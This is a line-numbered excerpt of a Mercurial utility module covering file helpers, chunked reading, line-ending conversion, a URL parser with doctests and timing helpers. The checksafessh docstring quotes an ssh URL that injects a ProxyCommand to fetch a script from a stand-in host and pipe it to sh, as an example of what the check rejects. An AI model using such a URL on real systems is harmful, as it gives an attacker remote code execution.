2475 2475 newstat = filestat.frompath(filename)
2476 2476 if newstat.isambig(oldstat):
2477 2477 # stat of changed file is ambiguous to original one
2478 2478 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2479 2479 os.utime(filename, (advanced, advanced))
2480 2480 else:
2481 2481 rename(self._tempname, filename)
2482 2482
2483 2483 def discard(self):
2484 2484 if not self._fp.closed:
2485 2485 try:
2486 2486 os.unlink(self._tempname)
2487 2487 except OSError:
2488 2488 pass
2489 2489 self._fp.close()
2490 2490
2491 2491 def __del__(self):
2492 2492 if safehasattr(self, '_fp'): # constructor actually did something
2493 2493 self.discard()
2494 2494
2495 2495 def __enter__(self):
2496 2496 return self
2497 2497
2498 2498 def __exit__(self, exctype, excvalue, traceback):
2499 2499 if exctype is not None:
2500 2500 self.discard()
2501 2501 else:
2502 2502 self.close()
2503 2503
2504 2504
2505 2505 def unlinkpath(f, ignoremissing=False, rmdir=True):
2506 2506 """unlink and remove the directory if it is empty"""
2507 2507 if ignoremissing:
2508 2508 tryunlink(f)
2509 2509 else:
2510 2510 unlink(f)
2511 2511 if rmdir:
2512 2512 # try removing directories that might now be empty
2513 2513 try:
2514 2514 removedirs(os.path.dirname(f))
2515 2515 except OSError:
2516 2516 pass
2517 2517
2518 2518
2519 2519 def tryunlink(f):
2520 2520 """Attempt to remove a file, ignoring ENOENT errors."""
2521 2521 try:
2522 2522 unlink(f)
2523 2523 except OSError as e:
2524 2524 if e.errno != errno.ENOENT:
2525 2525 raise
2526 2526
2527 2527
2528 2528 def makedirs(name, mode=None, notindexed=False):
2529 2529 """recursive directory creation with parent mode inheritance
2530 2530
2531 2531 Newly created directories are marked as "not to be indexed by
2532 2532 the content indexing service", if ``notindexed`` is specified
2533 2533 for "write" mode access.
2534 2534 """
2535 2535 try:
2536 2536 makedir(name, notindexed)
2537 2537 except OSError as err:
2538 2538 if err.errno == errno.EEXIST:
2539 2539 return
2540 2540 if err.errno != errno.ENOENT or not name:
2541 2541 raise
2542 2542 parent = os.path.dirname(os.path.abspath(name))
2543 2543 if parent == name:
2544 2544 raise
2545 2545 makedirs(parent, mode, notindexed)
2546 2546 try:
2547 2547 makedir(name, notindexed)
2548 2548 except OSError as err:
2549 2549 # Catch EEXIST to handle races
2550 2550 if err.errno == errno.EEXIST:
2551 2551 return
2552 2552 raise
2553 2553 if mode is not None:
2554 2554 os.chmod(name, mode)
2555 2555
2556 2556
2557 2557 def readfile(path):
2558 2558 with open(path, b'rb') as fp:
2559 2559 return fp.read()
2560 2560
2561 2561
2562 2562 def writefile(path, text):
2563 2563 with open(path, b'wb') as fp:
2564 2564 fp.write(text)
2565 2565
2566 2566
2567 2567 def appendfile(path, text):
2568 2568 with open(path, b'ab') as fp:
2569 2569 fp.write(text)
2570 2570
2571 2571
2572 2572 class chunkbuffer(object):
2573 2573 """Allow arbitrary sized chunks of data to be efficiently read from an
2574 2574 iterator over chunks of arbitrary size."""
2575 2575
2576 2576 def __init__(self, in_iter):
2577 2577 """in_iter is the iterator that's iterating over the input chunks."""
2578 2578
2579 2579 def splitbig(chunks):
2580 2580 for chunk in chunks:
2581 2581 if len(chunk) > 2 ** 20:
2582 2582 pos = 0
2583 2583 while pos < len(chunk):
2584 2584 end = pos + 2 ** 18
2585 2585 yield chunk[pos:end]
2586 2586 pos = end
2587 2587 else:
2588 2588 yield chunk
2589 2589
2590 2590 self.iter = splitbig(in_iter)
2591 2591 self._queue = collections.deque()
2592 2592 self._chunkoffset = 0
2593 2593
2594 2594 def read(self, l=None):
2595 2595 """Read L bytes of data from the iterator of chunks of data.
2596 2596 Returns less than L bytes if the iterator runs dry.
2597 2597
2598 2598 If size parameter is omitted, read everything"""
2599 2599 if l is None:
2600 2600 return b''.join(self.iter)
2601 2601
2602 2602 left = l
2603 2603 buf = []
2604 2604 queue = self._queue
2605 2605 while left > 0:
2606 2606 # refill the queue
2607 2607 if not queue:
2608 2608 target = 2 ** 18
2609 2609 for chunk in self.iter:
2610 2610 queue.append(chunk)
2611 2611 target -= len(chunk)
2612 2612 if target <= 0:
2613 2613 break
2614 2614 if not queue:
2615 2615 break
2616 2616
2617 2617 # The easy way to do this would be to queue.popleft(), modify the
2618 2618 # chunk (if necessary), then queue.appendleft(). However, for cases
2619 2619 # where we read partial chunk content, this incurs 2 dequeue
2620 2620 # mutations and creates a new str for the remaining chunk in the
2621 2621 # queue. Our code below avoids this overhead.
2622 2622
2623 2623 chunk = queue[0]
2624 2624 chunkl = len(chunk)
2625 2625 offset = self._chunkoffset
2626 2626
2627 2627 # Use full chunk.
2628 2628 if offset == 0 and left >= chunkl:
2629 2629 left -= chunkl
2630 2630 queue.popleft()
2631 2631 buf.append(chunk)
2632 2632 # self._chunkoffset remains at 0.
2633 2633 continue
2634 2634
2635 2635 chunkremaining = chunkl - offset
2636 2636
2637 2637 # Use all of unconsumed part of chunk.
2638 2638 if left >= chunkremaining:
2639 2639 left -= chunkremaining
2640 2640 queue.popleft()
2641 2641 # offset == 0 is enabled by block above, so this won't merely
2642 2642 # copy via ``chunk[0:]``.
2643 2643 buf.append(chunk[offset:])
2644 2644 self._chunkoffset = 0
2645 2645
2646 2646 # Partial chunk needed.
2647 2647 else:
2648 2648 buf.append(chunk[offset : offset + left])
2649 2649 self._chunkoffset += left
2650 2650 left -= chunkremaining
2651 2651
2652 2652 return b''.join(buf)
2653 2653
2654 2654
2655 2655 def filechunkiter(f, size=131072, limit=None):
2656 2656 """Create a generator that produces the data in the file size
2657 2657 (default 131072) bytes at a time, up to optional limit (default is
2658 2658 to read all data). Chunks may be less than size bytes if the
2659 2659 chunk is the last chunk in the file, or the file is a socket or
2660 2660 some other type of file that sometimes reads less data than is
2661 2661 requested."""
2662 2662 assert size >= 0
2663 2663 assert limit is None or limit >= 0
2664 2664 while True:
2665 2665 if limit is None:
2666 2666 nbytes = size
2667 2667 else:
2668 2668 nbytes = min(limit, size)
2669 2669 s = nbytes and f.read(nbytes)
2670 2670 if not s:
2671 2671 break
2672 2672 if limit:
2673 2673 limit -= len(s)
2674 2674 yield s
2675 2675
2676 2676
2677 2677 class cappedreader(object):
2678 2678 """A file object proxy that allows reading up to N bytes.
2679 2679
2680 2680 Given a source file object, instances of this type allow reading up to
2681 2681 N bytes from that source file object. Attempts to read past the allowed
2682 2682 limit are treated as EOF.
2683 2683
2684 2684 It is assumed that I/O is not performed on the original file object
2685 2685 in addition to I/O that is performed by this instance. If there is,
2686 2686 state tracking will get out of sync and unexpected results will ensue.
2687 2687 """
2688 2688
2689 2689 def __init__(self, fh, limit):
2690 2690 """Allow reading up to <limit> bytes from <fh>."""
2691 2691 self._fh = fh
2692 2692 self._left = limit
2693 2693
2694 2694 def read(self, n=-1):
2695 2695 if not self._left:
2696 2696 return b''
2697 2697
2698 2698 if n < 0:
2699 2699 n = self._left
2700 2700
2701 2701 data = self._fh.read(min(n, self._left))
2702 2702 self._left -= len(data)
2703 2703 assert self._left >= 0
2704 2704
2705 2705 return data
2706 2706
2707 2707 def readinto(self, b):
2708 2708 res = self.read(len(b))
2709 2709 if res is None:
2710 2710 return None
2711 2711
2712 2712 b[0 : len(res)] = res
2713 2713 return len(res)
2714 2714
2715 2715
2716 2716 def unitcountfn(*unittable):
2717 2717 '''return a function that renders a readable count of some quantity'''
2718 2718
2719 2719 def go(count):
2720 2720 for multiplier, divisor, format in unittable:
2721 2721 if abs(count) >= divisor * multiplier:
2722 2722 return format % (count / float(divisor))
2723 2723 return unittable[-1][2] % count
2724 2724
2725 2725 return go
2726 2726
2727 2727
2728 2728 def processlinerange(fromline, toline):
2729 2729 """Check that linerange <fromline>:<toline> makes sense and return a
2730 2730 0-based range.
2731 2731
2732 2732 >>> processlinerange(10, 20)
2733 2733 (9, 20)
2734 2734 >>> processlinerange(2, 1)
2735 2735 Traceback (most recent call last):
2736 2736 ...
2737 2737 ParseError: line range must be positive
2738 2738 >>> processlinerange(0, 5)
2739 2739 Traceback (most recent call last):
2740 2740 ...
2741 2741 ParseError: fromline must be strictly positive
2742 2742 """
2743 2743 if toline - fromline < 0:
2744 2744 raise error.ParseError(_(b"line range must be positive"))
2745 2745 if fromline < 1:
2746 2746 raise error.ParseError(_(b"fromline must be strictly positive"))
2747 2747 return fromline - 1, toline
2748 2748
2749 2749
2750 2750 bytecount = unitcountfn(
2751 2751 (100, 1 << 30, _(b'%.0f GB')),
2752 2752 (10, 1 << 30, _(b'%.1f GB')),
2753 2753 (1, 1 << 30, _(b'%.2f GB')),
2754 2754 (100, 1 << 20, _(b'%.0f MB')),
2755 2755 (10, 1 << 20, _(b'%.1f MB')),
2756 2756 (1, 1 << 20, _(b'%.2f MB')),
2757 2757 (100, 1 << 10, _(b'%.0f KB')),
2758 2758 (10, 1 << 10, _(b'%.1f KB')),
2759 2759 (1, 1 << 10, _(b'%.2f KB')),
2760 2760 (1, 1, _(b'%.0f bytes')),
2761 2761 )
2762 2762
2763 2763
2764 2764 class transformingwriter(object):
2765 2765 """Writable file wrapper to transform data by function"""
2766 2766
2767 2767 def __init__(self, fp, encode):
2768 2768 self._fp = fp
2769 2769 self._encode = encode
2770 2770
2771 2771 def close(self):
2772 2772 self._fp.close()
2773 2773
2774 2774 def flush(self):
2775 2775 self._fp.flush()
2776 2776
2777 2777 def write(self, data):
2778 2778 return self._fp.write(self._encode(data))
2779 2779
2780 2780
2781 2781 # Matches a single EOL which can either be a CRLF where repeated CR
2782 2782 # are removed or a LF. We do not care about old Macintosh files, so a
2783 2783 # stray CR is an error.
2784 2784 _eolre = remod.compile(br'\r*\n')
2785 2785
2786 2786
2787 2787 def tolf(s):
2788 2788 return _eolre.sub(b'\n', s)
2789 2789
2790 2790
2791 2791 def tocrlf(s):
2792 2792 return _eolre.sub(b'\r\n', s)
2793 2793
2794 2794
2795 2795 def _crlfwriter(fp):
2796 2796 return transformingwriter(fp, tocrlf)
2797 2797
2798 2798
2799 2799 if pycompat.oslinesep == b'\r\n':
2800 2800 tonativeeol = tocrlf
2801 2801 fromnativeeol = tolf
2802 2802 nativeeolwriter = _crlfwriter
2803 2803 else:
2804 2804 tonativeeol = pycompat.identity
2805 2805 fromnativeeol = pycompat.identity
2806 2806 nativeeolwriter = pycompat.identity
2807 2807
2808 2808 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2809 2809 3,
2810 2810 0,
2811 2811 ):
2812 2812 # There is an issue in CPython that some IO methods do not handle EINTR
2813 2813 # correctly. The following table shows what CPython version (and functions)
2814 2814 # are affected (buggy: has the EINTR bug, okay: otherwise):
2815 2815 #
2816 2816 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2817 2817 # --------------------------------------------------
2818 2818 # fp.__iter__ | buggy | buggy | okay
2819 2819 # fp.read* | buggy | okay [1] | okay
2820 2820 #
2821 2821 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2822 2822 #
2823 2823 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2824 2824 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2825 2825 #
2826 2826 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2827 2827 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2828 2828 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2829 2829 # fp.__iter__ but not other fp.read* methods.
2830 2830 #
2831 2831 # On modern systems like Linux, the "read" syscall cannot be interrupted
2832 2832 # when reading "fast" files like on-disk files. So the EINTR issue only
2833 2833 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2834 2834 # files approximately as "fast" files and use the fast (unsafe) code path,
2835 2835 # to minimize the performance impact.
2836 2836 if sys.version_info >= (2, 7, 4):
2837 2837 # fp.readline deals with EINTR correctly, use it as a workaround.
2838 2838 def _safeiterfile(fp):
2839 2839 return iter(fp.readline, b'')
2840 2840
2841 2841 else:
2842 2842 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2843 2843 # note: this may block longer than necessary because of bufsize.
2844 2844 def _safeiterfile(fp, bufsize=4096):
2845 2845 fd = fp.fileno()
2846 2846 line = b''
2847 2847 while True:
2848 2848 try:
2849 2849 buf = os.read(fd, bufsize)
2850 2850 except OSError as ex:
2851 2851 # os.read only raises EINTR before any data is read
2852 2852 if ex.errno == errno.EINTR:
2853 2853 continue
2854 2854 else:
2855 2855 raise
2856 2856 line += buf
2857 2857 if b'\n' in buf:
2858 2858 splitted = line.splitlines(True)
2859 2859 line = b''
2860 2860 for l in splitted:
2861 2861 if l[-1] == b'\n':
2862 2862 yield l
2863 2863 else:
2864 2864 line = l
2865 2865 if not buf:
2866 2866 break
2867 2867 if line:
2868 2868 yield line
2869 2869
2870 2870 def iterfile(fp):
2871 2871 fastpath = True
2872 2872 if type(fp) is file:
2873 2873 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2874 2874 if fastpath:
2875 2875 return fp
2876 2876 else:
2877 2877 return _safeiterfile(fp)
2878 2878
2879 2879
2880 2880 else:
2881 2881 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2882 2882 def iterfile(fp):
2883 2883 return fp
2884 2884
2885 2885
2886 2886 def iterlines(iterator):
2887 2887 for chunk in iterator:
2888 2888 for line in chunk.splitlines():
2889 2889 yield line
2890 2890
2891 2891
2892 2892 def expandpath(path):
2893 2893 return os.path.expanduser(os.path.expandvars(path))
2894 2894
2895 2895
2896 2896 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2897 2897 """Return the result of interpolating items in the mapping into string s.
2898 2898
2899 2899 prefix is a single character string, or a two character string with
2900 2900 a backslash as the first character if the prefix needs to be escaped in
2901 2901 a regular expression.
2902 2902
2903 2903 fn is an optional function that will be applied to the replacement text
2904 2904 just before replacement.
2905 2905
2906 2906 escape_prefix is an optional flag that allows using doubled prefix for
2907 2907 its escaping.
2908 2908 """
2909 2909 fn = fn or (lambda s: s)
2910 2910 patterns = b'|'.join(mapping.keys())
2911 2911 if escape_prefix:
2912 2912 patterns += b'|' + prefix
2913 2913 if len(prefix) > 1:
2914 2914 prefix_char = prefix[1:]
2915 2915 else:
2916 2916 prefix_char = prefix
2917 2917 mapping[prefix_char] = prefix_char
2918 2918 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2919 2919 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2920 2920
2921 2921
2922 2922 def getport(port):
2923 2923 """Return the port for a given network service.
2924 2924
2925 2925 If port is an integer, it's returned as is. If it's a string, it's
2926 2926 looked up using socket.getservbyname(). If there's no matching
2927 2927 service, error.Abort is raised.
2928 2928 """
2929 2929 try:
2930 2930 return int(port)
2931 2931 except ValueError:
2932 2932 pass
2933 2933
2934 2934 try:
2935 2935 return socket.getservbyname(pycompat.sysstr(port))
2936 2936 except socket.error:
2937 2937 raise error.Abort(
2938 2938 _(b"no port number associated with service '%s'") % port
2939 2939 )
2940 2940
2941 2941
2942 2942 class url(object):
2943 2943 r"""Reliable URL parser.
2944 2944
2945 2945 This parses URLs and provides attributes for the following
2946 2946 components:
2947 2947
2948 2948 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2949 2949
2950 2950 Missing components are set to None. The only exception is
2951 2951 fragment, which is set to '' if present but empty.
2952 2952
2953 2953 If parsefragment is False, fragment is included in query. If
2954 2954 parsequery is False, query is included in path. If both are
2955 2955 False, both fragment and query are included in path.
2956 2956
2957 2957 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2958 2958
2959 2959 Note that for backward compatibility reasons, bundle URLs do not
2960 2960 take host names. That means 'bundle://../' has a path of '../'.
2961 2961
2962 2962 Examples:
2963 2963
2964 2964 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2965 2965 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2966 2966 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2967 2967 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2968 2968 >>> url(b'file:///home/joe/repo')
2969 2969 <url scheme: 'file', path: '/home/joe/repo'>
2970 2970 >>> url(b'file:///c:/temp/foo/')
2971 2971 <url scheme: 'file', path: 'c:/temp/foo/'>
2972 2972 >>> url(b'bundle:foo')
2973 2973 <url scheme: 'bundle', path: 'foo'>
2974 2974 >>> url(b'bundle://../foo')
2975 2975 <url scheme: 'bundle', path: '../foo'>
2976 2976 >>> url(br'c:\foo\bar')
2977 2977 <url path: 'c:\\foo\\bar'>
2978 2978 >>> url(br'\\blah\blah\blah')
2979 2979 <url path: '\\\\blah\\blah\\blah'>
2980 2980 >>> url(br'\\blah\blah\blah#baz')
2981 2981 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2982 2982 >>> url(br'file:///C:\users\me')
2983 2983 <url scheme: 'file', path: 'C:\\users\\me'>
2984 2984
2985 2985 Authentication credentials:
2986 2986
2987 2987 >>> url(b'ssh://joe:xyz@x/repo')
2988 2988 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2989 2989 >>> url(b'ssh://joe@x/repo')
2990 2990 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2991 2991
2992 2992 Query strings and fragments:
2993 2993
2994 2994 >>> url(b'http://host/a?b#c')
2995 2995 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2996 2996 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2997 2997 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2998 2998
2999 2999 Empty path:
3000 3000
3001 3001 >>> url(b'')
3002 3002 <url path: ''>
3003 3003 >>> url(b'#a')
3004 3004 <url path: '', fragment: 'a'>
3005 3005 >>> url(b'http://host/')
3006 3006 <url scheme: 'http', host: 'host', path: ''>
3007 3007 >>> url(b'http://host/#a')
3008 3008 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3009 3009
3010 3010 Only scheme:
3011 3011
3012 3012 >>> url(b'http:')
3013 3013 <url scheme: 'http'>
3014 3014 """
3015 3015
3016 3016 _safechars = b"!~*'()+"
3017 3017 _safepchars = b"/!~*'()+:\\"
3018 3018 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3019 3019
3020 3020 def __init__(self, path, parsequery=True, parsefragment=True):
3021 3021 # We slowly chomp away at path until we have only the path left
3022 3022 self.scheme = self.user = self.passwd = self.host = None
3023 3023 self.port = self.path = self.query = self.fragment = None
3024 3024 self._localpath = True
3025 3025 self._hostport = b''
3026 3026 self._origpath = path
3027 3027
3028 3028 if parsefragment and b'#' in path:
3029 3029 path, self.fragment = path.split(b'#', 1)
3030 3030
3031 3031 # special case for Windows drive letters and UNC paths
3032 3032 if hasdriveletter(path) or path.startswith(b'\\\\'):
3033 3033 self.path = path
3034 3034 return
3035 3035
3036 3036 # For compatibility reasons, we can't handle bundle paths as
3037 3037 # normal URLS
3038 3038 if path.startswith(b'bundle:'):
3039 3039 self.scheme = b'bundle'
3040 3040 path = path[7:]
3041 3041 if path.startswith(b'//'):
3042 3042 path = path[2:]
3043 3043 self.path = path
3044 3044 return
3045 3045
3046 3046 if self._matchscheme(path):
3047 3047 parts = path.split(b':', 1)
3048 3048 if parts[0]:
3049 3049 self.scheme, path = parts
3050 3050 self._localpath = False
3051 3051
3052 3052 if not path:
3053 3053 path = None
3054 3054 if self._localpath:
3055 3055 self.path = b''
3056 3056 return
3057 3057 else:
3058 3058 if self._localpath:
3059 3059 self.path = path
3060 3060 return
3061 3061
3062 3062 if parsequery and b'?' in path:
3063 3063 path, self.query = path.split(b'?', 1)
3064 3064 if not path:
3065 3065 path = None
3066 3066 if not self.query:
3067 3067 self.query = None
3068 3068
3069 3069 # // is required to specify a host/authority
3070 3070 if path and path.startswith(b'//'):
3071 3071 parts = path[2:].split(b'/', 1)
3072 3072 if len(parts) > 1:
3073 3073 self.host, path = parts
3074 3074 else:
3075 3075 self.host = parts[0]
3076 3076 path = None
3077 3077 if not self.host:
3078 3078 self.host = None
3079 3079 # path of file:///d is /d
3080 3080 # path of file:///d:/ is d:/, not /d:/
3081 3081 if path and not hasdriveletter(path):
3082 3082 path = b'/' + path
3083 3083
3084 3084 if self.host and b'@' in self.host:
3085 3085 self.user, self.host = self.host.rsplit(b'@', 1)
3086 3086 if b':' in self.user:
3087 3087 self.user, self.passwd = self.user.split(b':', 1)
3088 3088 if not self.host:
3089 3089 self.host = None
3090 3090
3091 3091 # Don't split on colons in IPv6 addresses without ports
3092 3092 if (
3093 3093 self.host
3094 3094 and b':' in self.host
3095 3095 and not (
3096 3096 self.host.startswith(b'[') and self.host.endswith(b']')
3097 3097 )
3098 3098 ):
3099 3099 self._hostport = self.host
3100 3100 self.host, self.port = self.host.rsplit(b':', 1)
3101 3101 if not self.host:
3102 3102 self.host = None
3103 3103
3104 3104 if (
3105 3105 self.host
3106 3106 and self.scheme == b'file'
3107 3107 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3108 3108 ):
3109 3109 raise error.Abort(
3110 3110 _(b'file:// URLs can only refer to localhost')
3111 3111 )
3112 3112
3113 3113 self.path = path
3114 3114
3115 3115 # leave the query string escaped
3116 3116 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3117 3117 v = getattr(self, a)
3118 3118 if v is not None:
3119 3119 setattr(self, a, urlreq.unquote(v))
3120 3120
3121 3121 @encoding.strmethod
3122 3122 def __repr__(self):
3123 3123 attrs = []
3124 3124 for a in (
3125 3125 b'scheme',
3126 3126 b'user',
3127 3127 b'passwd',
3128 3128 b'host',
3129 3129 b'port',
3130 3130 b'path',
3131 3131 b'query',
3132 3132 b'fragment',
3133 3133 ):
3134 3134 v = getattr(self, a)
3135 3135 if v is not None:
3136 3136 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3137 3137 return b'<url %s>' % b', '.join(attrs)
3138 3138
3139 3139 def __bytes__(self):
3140 3140 r"""Join the URL's components back into a URL string.
3141 3141
3142 3142 Examples:
3143 3143
3144 3144 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3145 3145 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3146 3146 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3147 3147 'http://user:pw@host:80/?foo=bar&baz=42'
3148 3148 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3149 3149 'http://user:pw@host:80/?foo=bar%3dbaz'
3150 3150 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3151 3151 'ssh://user:pw@[::1]:2200//home/joe#'
3152 3152 >>> bytes(url(b'http://localhost:80//'))
3153 3153 'http://localhost:80//'
3154 3154 >>> bytes(url(b'http://localhost:80/'))
3155 3155 'http://localhost:80/'
3156 3156 >>> bytes(url(b'http://localhost:80'))
3157 3157 'http://localhost:80/'
3158 3158 >>> bytes(url(b'bundle:foo'))
3159 3159 'bundle:foo'
3160 3160 >>> bytes(url(b'bundle://../foo'))
3161 3161 'bundle:../foo'
3162 3162 >>> bytes(url(b'path'))
3163 3163 'path'
3164 3164 >>> bytes(url(b'file:///tmp/foo/bar'))
3165 3165 'file:///tmp/foo/bar'
3166 3166 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3167 3167 'file:///c:/tmp/foo/bar'
3168 3168 >>> print(url(br'bundle:foo\bar'))
3169 3169 bundle:foo\bar
3170 3170 >>> print(url(br'file:///D:\data\hg'))
3171 3171 file:///D:\data\hg
3172 3172 """
3173 3173 if self._localpath:
3174 3174 s = self.path
3175 3175 if self.scheme == b'bundle':
3176 3176 s = b'bundle:' + s
3177 3177 if self.fragment:
3178 3178 s += b'#' + self.fragment
3179 3179 return s
3180 3180
3181 3181 s = self.scheme + b':'
3182 3182 if self.user or self.passwd or self.host:
3183 3183 s += b'//'
3184 3184 elif self.scheme and (
3185 3185 not self.path
3186 3186 or self.path.startswith(b'/')
3187 3187 or hasdriveletter(self.path)
3188 3188 ):
3189 3189 s += b'//'
3190 3190 if hasdriveletter(self.path):
3191 3191 s += b'/'
3192 3192 if self.user:
3193 3193 s += urlreq.quote(self.user, safe=self._safechars)
3194 3194 if self.passwd:
3195 3195 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3196 3196 if self.user or self.passwd:
3197 3197 s += b'@'
3198 3198 if self.host:
3199 3199 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3200 3200 s += urlreq.quote(self.host)
3201 3201 else:
3202 3202 s += self.host
3203 3203 if self.port:
3204 3204 s += b':' + urlreq.quote(self.port)
3205 3205 if self.host:
3206 3206 s += b'/'
3207 3207 if self.path:
3208 3208 # TODO: similar to the query string, we should not unescape the
3209 3209 # path when we store it, the path might contain '%2f' = '/',
3210 3210 # which we should *not* escape.
3211 3211 s += urlreq.quote(self.path, safe=self._safepchars)
3212 3212 if self.query:
3213 3213 # we store the query in escaped form.
3214 3214 s += b'?' + self.query
3215 3215 if self.fragment is not None:
3216 3216 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3217 3217 return s
3218 3218
3219 3219 __str__ = encoding.strmethod(__bytes__)
3220 3220
3221 3221 def authinfo(self):
3222 3222 user, passwd = self.user, self.passwd
3223 3223 try:
3224 3224 self.user, self.passwd = None, None
3225 3225 s = bytes(self)
3226 3226 finally:
3227 3227 self.user, self.passwd = user, passwd
3228 3228 if not self.user:
3229 3229 return (s, None)
3230 3230 # authinfo[1] is passed to urllib2 password manager, and its
3231 3231 # URIs must not contain credentials. The host is passed in the
3232 3232 # URIs list because Python < 2.4.3 uses only that to search for
3233 3233 # a password.
3234 3234 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3235 3235
3236 3236 def isabs(self):
3237 3237 if self.scheme and self.scheme != b'file':
3238 3238 return True # remote URL
3239 3239 if hasdriveletter(self.path):
3240 3240 return True # absolute for our purposes - can't be joined()
3241 3241 if self.path.startswith(br'\\'):
3242 3242 return True # Windows UNC path
3243 3243 if self.path.startswith(b'/'):
3244 3244 return True # POSIX-style
3245 3245 return False
3246 3246
3247 3247 def localpath(self):
3248 3248 if self.scheme == b'file' or self.scheme == b'bundle':
3249 3249 path = self.path or b'/'
3250 3250 # For Windows, we need to promote hosts containing drive
3251 3251 # letters to paths with drive letters.
3252 3252 if hasdriveletter(self._hostport):
3253 3253 path = self._hostport + b'/' + self.path
3254 3254 elif (
3255 3255 self.host is not None and self.path and not hasdriveletter(path)
3256 3256 ):
3257 3257 path = b'/' + path
3258 3258 return path
3259 3259 return self._origpath
3260 3260
3261 3261 def islocal(self):
3262 3262 '''whether localpath will return something that posixfile can open'''
3263 3263 return (
3264 3264 not self.scheme
3265 3265 or self.scheme == b'file'
3266 3266 or self.scheme == b'bundle'
3267 3267 )
3268 3268
3269 3269
3270 3270 def hasscheme(path):
3271 3271 return bool(url(path).scheme)
3272 3272
3273 3273
3274 3274 def hasdriveletter(path):
3275 3275 return path and path[1:2] == b':' and path[0:1].isalpha()
3276 3276
3277 3277
3278 3278 def urllocalpath(path):
3279 3279 return url(path, parsequery=False, parsefragment=False).localpath()
3280 3280
3281 3281
3282 3282 def checksafessh(path):
3283 3283 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3284 3284
3285 3285 This is a sanity check for ssh urls. ssh will parse the first item as
3286 3286 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3287 3287 Let's prevent these potentially exploited urls entirely and warn the
3288 3288 user.
3289 3289
3290 3290 Raises an error.Abort when the url is unsafe.
3291 3291 """
3292 3292 path = urlreq.unquote(path)
3293 3293 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3294 3294 raise error.Abort(
3295 3295 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3296 3296 )
3297 3297
3298 3298
3299 3299 def hidepassword(u):
3300 3300 '''hide user credential in a url string'''
3301 3301 u = url(u)
3302 3302 if u.passwd:
3303 3303 u.passwd = b'***'
3304 3304 return bytes(u)
3305 3305
3306 3306
3307 3307 def removeauth(u):
3308 3308 '''remove all authentication information from a url string'''
3309 3309 u = url(u)
3310 3310 u.user = u.passwd = None
3311 3311 return bytes(u)
3312 3312
3313 3313
3314 3314 timecount = unitcountfn(
3315 3315 (1, 1e3, _(b'%.0f s')),
3316 3316 (100, 1, _(b'%.1f s')),
3317 3317 (10, 1, _(b'%.2f s')),
3318 3318 (1, 1, _(b'%.3f s')),
3319 3319 (100, 0.001, _(b'%.1f ms')),
3320 3320 (10, 0.001, _(b'%.2f ms')),
3321 3321 (1, 0.001, _(b'%.3f ms')),
3322 3322 (100, 0.000001, _(b'%.1f us')),
3323 3323 (10, 0.000001, _(b'%.2f us')),
3324 3324 (1, 0.000001, _(b'%.3f us')),
3325 3325 (100, 0.000000001, _(b'%.1f ns')),
3326 3326 (10, 0.000000001, _(b'%.2f ns')),
3327 3327 (1, 0.000000001, _(b'%.3f ns')),
3328 3328 )
3329 3329
3330 3330
3331 3331 @attr.s
3332 3332 class timedcmstats(object):
3333 3333 """Stats information produced by the timedcm context manager on entering."""
3334 3334
3335 3335 # the starting value of the timer as a float (meaning and resulution is
3336 3336 # platform dependent, see util.timer)
3337 3337 start = attr.ib(default=attr.Factory(lambda: timer()))
3338 3338 # the number of seconds as a floating point value; starts at 0, updated when
3339 3339 # the context is exited.
3340 3340 elapsed = attr.ib(default=0)
3341 3341 # the number of nested timedcm context managers.
3342 3342 level = attr.ib(default=1)
3343 3343
3344 3344 def __bytes__(self):
3345 3345 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3346 3346
3347 3347 __str__ = encoding.strmethod(__bytes__)
3348 3348
3349 3349
3350 3350 @contextlib.contextmanager
3351 3351 def timedcm(whencefmt, *whenceargs):
